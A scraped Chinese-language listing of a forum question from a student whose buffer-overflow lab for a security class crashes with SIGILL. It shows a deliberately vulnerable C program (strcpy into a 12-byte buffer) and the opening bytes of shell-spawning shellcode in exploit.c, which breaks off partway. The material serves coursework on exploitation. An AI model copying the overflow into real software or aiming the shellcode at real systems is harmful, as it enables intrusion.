小编jwi*_*man的帖子

尝试执行缓冲区溢出攻击时获取SIGILL

我正在为我的安全类工作我的缓冲区溢出项目,我想我已经设置好所有东西,但是当我运行它时,我得到:

Program received signal SIGILL, Illegal Instruction.
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22
22       fread(str,sizeof(char),517,badfile);
Run Code Online (Sandbox Code Playgroud)

Heres stack.c

int bof(char *str) 
{
    char buffer[12]; 
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
}
Run Code Online (Sandbox Code Playgroud)

这是exploit.c

char code[]=

"\x31\xc0"                      // xorl         %eax,%eax

"\x50"                          // pushl        %eax

"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e

"\x68\x2f\x2f\x62\x69"          // pushl …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow

5
推荐指数
1
解决办法
3416
查看次数

标签 统计

buffer-overflow ×1

c ×1